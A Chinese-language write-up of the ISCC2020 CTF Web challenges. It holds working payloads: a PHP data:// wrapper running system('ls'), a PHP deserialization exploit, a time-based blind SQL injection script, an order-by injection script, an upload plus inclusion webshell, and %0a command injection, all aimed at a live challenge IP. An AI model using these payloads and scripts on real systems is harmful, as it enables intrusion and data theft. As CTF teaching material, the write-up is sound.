前言:

Where is file?-1

——php伪协议

ISCC2020-Web题解_信息安全

考察的是​​php​​伪协议,可以使用​​data​​协议来进行读取

?file=data:text/plain,<?echo system('ls')?>

阿森的爱情-1

——签到

扫描一下出一个文件,里面就有flag

Php is the best language

——PHP反序列化、to_string魔法函数的调用

<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
else
{
$url='./index.php';
}

$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="<p>谢谢参与!</p>";
}
?>

代码很简单,就是​​__toString​​的调用

<?php  
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}

$a = new baby();
$a->file = 'flag.php';
$a->__tostring();
echo serialize($a);

ISCC2020-Web题解_加密解密算法_02

解码即可

ISCC成绩查询-2

——绕过token、时间盲注

ISCC2020-Web题解_字符串_03

一开始是一个登陆框,SQL万能密码进不去,抓包发现有​​token​​验证,需要进行爆破,虽然没有成功,但在测试的时候发现有这个页面

ISCC2020-Web题解_信息安全_04

http://101.201.126.95:7007/flag.php

在这个地方卡了很长时间,还是比较菜,因为这个页面当提交时只回显一个页面,知道是时间盲注,当​​fuzz​​就很困难

ISCC2020-Web题解_信息安全_05

然后做不出来郁闷就去做BUU的一道SQL注入,发现跟这题类似,只不过是过滤了空格,然后尝试,发现

?name=1'/**/or/**/if(1=1,sleep(5),1)%23

ISCC2020-Web题解_信息安全_06

应答的时间恰好就是​​5​​秒,找到测试语句了就写脚本

import requests
import string
import time
import datetime

if __name__ == "__main__":
chars=string.ascii_letters+string.digits
url="http://101.201.126.95:7007/flag.php"
#payload="'/**/or/**/if((ascii(substr(database(),{0},1))={1}),sleep(3),1)%23" #pikachu
#payload="'/**/or/**/if((ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23"#flag
#payload="'/**/or/**/if((ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=\"flag\"/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23" #flag
payload="'/**/or/**/if((ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23"

print("value:")
name=''
for i in range(1,40):
char=''
for j in chars:
payloads=payload.format(i,ord(j))
urls=url+"?name="+payloads+"&submit=%E6%9F%A5%E8%AF%A2"
t1=datetime.datetime.now()
r=requests.get(url=urls)
t2=datetime.datetime.now()
sec = (t2 - t1).seconds
if sec>=3:
name+=j
print(name)
char=j
break
if char=='':
break

跑脚本就行了

ISCC成绩查询_3

——PHP可逆加密解密算法

这个题没有上一个题的flag的提示很难做出来的

ISCC2020-Web题解_加密解密算法_07

查看页面源代码,发现

ISCC2020-Web题解_字符串_08

百度查到了是PHP可逆加密解密算法

ISCC2020-Web题解_文件包含_09

然后直接找到了解密算法

​PHP可逆加密解密算法​

上一题的flag是​​flag{sixsixsix}​​,所以这题的key值即为​​666​​,解密即可得出

What can images do

——文件上传+文件包含

ISCC2020-Web题解_信息安全_10

上传进去,然后发现url中含有filename参数文件包含一下

101.201.126.95:7004/?filename=../uploads/2020/05/17/6161445ec149f81f135785570658.jpg&submit=提交

ISCC2020-Web题解_文件包含_11

连接成功,读取flag就行了,题被搅屎了,之前的木马也被删了,某大佬将权限给改了。

阿森的爱情-2

——括号被过滤、order by注入

ISCC2020-Web题解_php_12

这个题虽然是原题,但感觉能学到知识,很有趣,考察的是​​order by​​ 排序

拿到题先fuzz一下,看看都过滤了哪些

ISCC2020-Web题解_信息安全_13

过滤了括号,所以联合查询、盲注不可行了,只能用常规的盲注,查了下发现有到类似的题目

​CTF中过滤括号的盲注题小记​

可以用​​union select+order by​​进行注入,原理就看下博主写的很详细的,在burp中先进行测试,最后发现注入点是在username那里,可以先用burp进行爆破然后观察出规律,然后再写脚本

脚本如下:

import requests

url = "http://101.201.126.95:7006/"

alist = "0123456789abcdef"

payload = ""
payload1 = "admin' union select 1,0,'"
payload2 = "'order by 3#"
datas = {
"username":"",
"password":"123",
"submit":'enter'
}
tmp_OK = ""
tmp = ""
for j in range(0,32):
for i in alist:
payload = payload1+tmp_OK+i+payload2
datas["username"] = payload
# print (datas)
r = requests.post(url=url,data=datas)
# print (r.text)
if "admin" in r.text:
tmp_OK += tmp
print (tmp_OK)
break
if ("0" in r.text) and (i == "f"):
tmp_OK += i
print (tmp_OK)
tmp = i

#username=admin' union select 1,0,'c' order by 3#&password=123&submit=enter

ISCC2020-Web题解_加密解密算法_14

神秘组织的邮件-2

——脚本练习

ISCC2020-Web题解_文件包含_15

点击提交数字会发生改变,因为这次的赛制有一个关联,通过上一题

ISCC2020-Web题解_信息安全_16

得出的flag是加键乘除,又提示要联系起来,就想起了之前做有一道秋名山车神那道题,只不过这个题需要将运算符手动添加,脚本如下:

import requests
from bs4 import BeautifulSoup
import re
import time
if __name__ == '__main__':
time_start=time.time()
url = 'http://101.201.126.95:7010/'
headers = {'Cookie': 'PHPSESSID=gi7r1dlq46h0h9j33uphpl23ne'}
s =requests.Session()
content=s.get(url=url,headers=headers).text
# print(content)
soup = BeautifulSoup(content,'lxml')
li_list = soup.find_all(text=re.compile('\d'))
# print(li_list.split(' '))
result = [x.strip() for x in li_list if x.strip()!='']
# print(result)
str = "".join(result)
# print(str)
a=str.split(' ')
numbers = list(map(int, a))
print(numbers)
payload =numbers[0]+numbers[1]-numbers[2]*numbers[3]/numbers[4]
print(payload)
data = {
'result': payload
#得到/IS20CC20abc%$.txt
}
reponse = requests.post(url=url+"/result.php",data=data,headers=headers).text
print(reponse)
time_end=time.time()
print('time cost',time_end-time_start,'s')

脚本思路也很简单,就是利用BeautifulSoup解析出字符串,然后将字符串去除空格再将字符串列表转换为数字列表,提交参数进行运算即可(一开始url没有加上result.php,浪费了好长时间)

ISCC2020-Web题解_字符串_17

如果一开始没跑出来多跑几次就出来了,访问一下

ISCC2020-Web题解_字符串_18

然后就是一脸懵逼,我一直以为还有上面的文件,就扫描各种,结果就这:

ISCC2020-Web题解_加密解密算法_19

直接访问??????????????? 我一万个问号,这我写脚本的意义何在。。。。

我按照正常的来试试吧

ISCC2020-Web题解_加密解密算法_20

出不来。。。。。。。。,实在无语,就这吧,当是锻炼锻炼脚本能力。

阿帅的爱情

——命令执行

ISCC2020-Web题解_信息安全_21

过滤了​​;​​,可以使用​​%0a​​来代替,测试一下就发现出来了

ISCC2020-Web题解_字符串_22

ISCC2020-Web题解_文件包含_23